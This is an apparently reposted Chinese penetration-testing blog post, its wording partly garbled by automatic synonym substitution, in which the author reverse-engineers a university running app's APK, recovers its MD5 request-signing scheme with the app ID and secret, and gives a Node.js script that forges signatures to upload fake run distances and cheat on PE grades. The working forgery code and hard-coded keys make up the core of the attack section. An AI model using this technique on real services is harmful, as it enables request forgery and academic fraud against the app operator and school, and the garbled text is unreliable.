首页 » 网站建设 » phpsign算法技巧_APP渗透技巧 逆向app破解数据包sign值实现随便率性数据重放添加

phpsign算法技巧_APP渗透技巧 逆向app破解数据包sign值实现随便率性数据重放添加

访客 2024-11-25 0

扫一扫用手机浏览

文章目录 [+]

本人在一些漏洞挖掘实战中常常创造在破解sign值后,在测试各种越权,重放等漏洞时一马平川,本日特此为大家带来这样一个精彩的实战案例。

【学习资料】→私发背景

学校每学期的体育成绩中会有10%来源于某跑步APP的打卡数据,本人作为一个体测只能勉强及格的废物,自然得想办法拿到这10分,以防挂科无奈这个app后台设置的是每学期男生统共哀求跑120公里才能完全地拿到10分,非常恶心。
一学期跑120公里,你还不如鲨了我,于是便有了此文对付其app的crack

phpsign算法技巧_APP渗透技巧  逆向app破解数据包sign值实现随便率性数据重放添加

初步测试

手机装好https证书,挂好Burpsuite的代理,随后我们直接去抓取该APP上传校园跑步数据时的要求

phpsign算法技巧_APP渗透技巧  逆向app破解数据包sign值实现随便率性数据重放添加
(图片来自网络侵删)

要求如下

我们创造单次跑步间隔对应的POST参数为FormatSportRange,自然二话不说对其进行修正,将0.000修正为5.000此时悲剧发生了,直接提示认证失落败~定神细看,创造POST数据末端有sign署名….

此时老开拓或老安全肯定就知道发生什么事了,为了让本文对新手友好一些,下面大略讲一下sign校验手腕

作甚Sign署名校验?

Sign署名校验法实质上是对客户端传输数据合法性的一种校验手段其常用手腕为,在用户客户端传输的数据中额外加上韶光戳以及分外字符,随后一起得出整体数据的加密值(常用MD5,SHA1等加密算法)这就导致了用户在不知晓程序的原始数据天生sign值的方法情形下,若对传输到做事真个数据进行修改,在后端都会鉴权失落败,导致用户修改后的数据无效。

sign值的安全对抗方法

针对有sign署名值的数据包,本人常用的测试手腕有两个:1.检测sign值是否为弱凭据2.检测sign值是否可以置空第一种类型常日有两种情形①看sign值是否采取了一些弱加密/编码方法(例如base64),我们解码后可以直接看到sign的原始数据。
②测试sign值是否为韶光戳/随机数加密后的密文值,在一些实战情形中,很多厂商安全开拓意识不敷,会将sign值的算法直接暴露在前端未加密的js中,或者直接将用户进行某操作的韶光戳进行md5加密后作为sign凭据,导致sign凭据在一段韶光内可以通过遍历韶光戳进行猜解第二种类型就比较好理解,我们直接将sign参数以及值删掉,看后端程序是否可以不校验sign直接实行我们传输的数据上述观点可能看起来比较抽象,下面我们连续来看本案例

二次测试

我们先考试测验第一种方法,上方添加跑步记录获取到的sign值为5ded7f11f080fb5a9d403c9d0963ebaa拿眼一看,大概率sign值是利用md5加密的,我们随后对其进行解密

GG了,看样厂商的安全意识不算太差~没有利用韶光戳或者随机数加密后的值作为sign,导致sign可以被无脑遍历猜解随后我们考试测验第二种方法,置空sign值

创造依然鉴权认证失落败,gg了。
看样两种常规的对抗sign的方法已经废了,我们只能从app下手了,逆向考试测验去探求其sign的算法

逆向apk文件取得其sign值算法

拿到程序apk直接查壳,运气不错,apk没加壳,省了不少功夫

直接将apk文件拖到jadx中,对其进行逆向剖析

全局搜索sign,在仔细挨个查看后,成功定位到了其sign天生的关键算法

代码过长,关键部分代码如下

可以看到,其sign值的署名算法为创建一个链表, 将全部已有的参数加入进去, 然后再加上一些键值对(个中timestamp韶光戳我们已知,appID,appSecret两个键值对我们均未知)之后再将全部的键值对根据键的字母顺序进行排序, 之后利用 querystring 办法对键值对进行编码.末了再对编码后的字符串求 MD5 值, 便是终极的署名了, 麻烦的一比

连续逆向apk文件获取未知键值对

我们连续来找appID,appSecret两个我们未知的键值对创造其获取方法如下

①appID键值对的获取方法:如果要求的url是 https://m.xxxxx.com 则为move,否则调用getAppId方法后面我搜索了一下getAppId方法,创造实在质上是获取某接口openId的参数值,随后赋值给AppID我去burpsuite走了一遍这个apk的业务,然后去http history搜索了一下openId,直接获取到了我们学校的openId参数值,也便是说我们获取到了AppID

②appSceret键值对获取方法在jadx中提示appSecre键t对应的值来源于g.b,我们在import的包中成功找到了g.b(即appSecret)

Nodejs编写打算sign的Exploit

sign的算法已经有了,未知的键值对我们也拿到了,下面便是直接编写打算sign的exploit的时候啦~我们选择用nodejs来还原全体sign的加密算法(把稳,我们将formatSportRange跑步间隔改为了5.003)

var parseQueryString = function( url ){ var reg_url =/^[^\?]+\?([\w\W]+)$/, reg_para=/([^&=]+)=([\w\W]?)(&|$)/g, //g is very important arr_url = reg_url.exec( url ), ret = {}; if( arr_url && arr_url[1] ){ var str_para = arr_url[1],result; while((result = reg_para.exec(str_para)) != null){ ret[result[1]] = result[2]; } } return ret;}var url ="www.xxx.com/index.php?userId=34263&runType=2&startTime=1635573372448&endTime=1635573425940&gitudeLatitude=%5B%7B%22latitude%22%3A34.383468%2C%22locationType%22%3A4%2C%22longitude%22%3A108.976148%2C%22puase%22%3Afalse%2C%22speed%22%3A0.0%2C%22time%22%3A1635573372480%7D%2C%7B%22latitude%22%3A34.383484%2C%22locationType%22%3A4%2C%22longitude%22%3A108.976155%2C%22puase%22%3Atrue%2C%22speed%22%3A0.0%2C%22time%22%3A1635573373314%7D%2C%7B%22latitude%22%3A34.383489%2C%22locationType%22%3A2%2C%22longitude%22%3A108.976155%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A1635573378344%7D%2C%7B%22latitude%22%3A34.383408%2C%22locationType%22%3A2%2C%22longitude%22%3A108.976193%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A1635573398400%7D%2C%7B%22latitude%22%3A34.383479%2C%22locationType%22%3A2%2C%22longitude%22%3A108.976152%2C%22puase%22%3Atrue%2C%22speed%22%3A1.55%2C%22time%22%3A1635573418403%7D%5D&identify=12cc1557-f226-4d19-a01f-58f492620818&formatSportTime=00%3A00%3A01&formatSportRange=5.003&avgspeed=0.0&speed=0%270%22&okPointList=%5B%5D&brand=Xiaomi&model=Mi%2010&system=Android&version=10&appVersion=1.5.73&stepNumbers=%5B0%5D&isFaceStatus=0&points=%5B%5D&uploadType=0×tamp=1635573451940";var obj = parseQueryString(url);//console.log(obj) //querystring序列化const crypto = require('crypto')const APP_ID = "ec74df4f7ea14f1fa585bbc9f936fc23"const data = objconsole.log(data)const timestamp = '1635573451940'function ff(data, timestamp, appId = APP_ID){ const d = { ...data, appId, timestamp: '1634356066432',appSecret: 'e8167ef026cbc5e456ab837d9d6d9254' } const ans = crypto.createHash('md5').update(Object.keys(d).sort().map(k => k + '=' + d[k]).join('&')).digest('hex') console.log("sign is",ans)}ff(data, timestamp, APP_ID)```

大功告成,我们成功序列化queryString后打算出了sign值,我们现在可以修改任意数据并根据算法天生假造的sign值

测试

我们将原来的formatSportRange跑步间隔改为了从0.000修正为5.003,并利用程序天生的sign值

如图,大功告成,跑步记录保存成功,我们成功利用假造的sign署名增加了一条5.003 km的跑步记录返回app查看~

后言

碰着可能的漏洞点莫要轻言放弃,再坚持一下,曙光就在前方~

免责声明:

本人武断反对利用传授教化方法进行犯罪的行为,统统犯罪行为必将受到重办,绿色网络须要我们共同掩护,更推举大家理解它们背后的事理,更好地进行防护。
禁止任何人转载到其他站点,禁止用于任何造孽用场。
如有任何人凭此做何造孽事情,均于笔者无关,特此声明。

末了分享一下【网络安全学习资料·攻略】私我查看

标签:

相关文章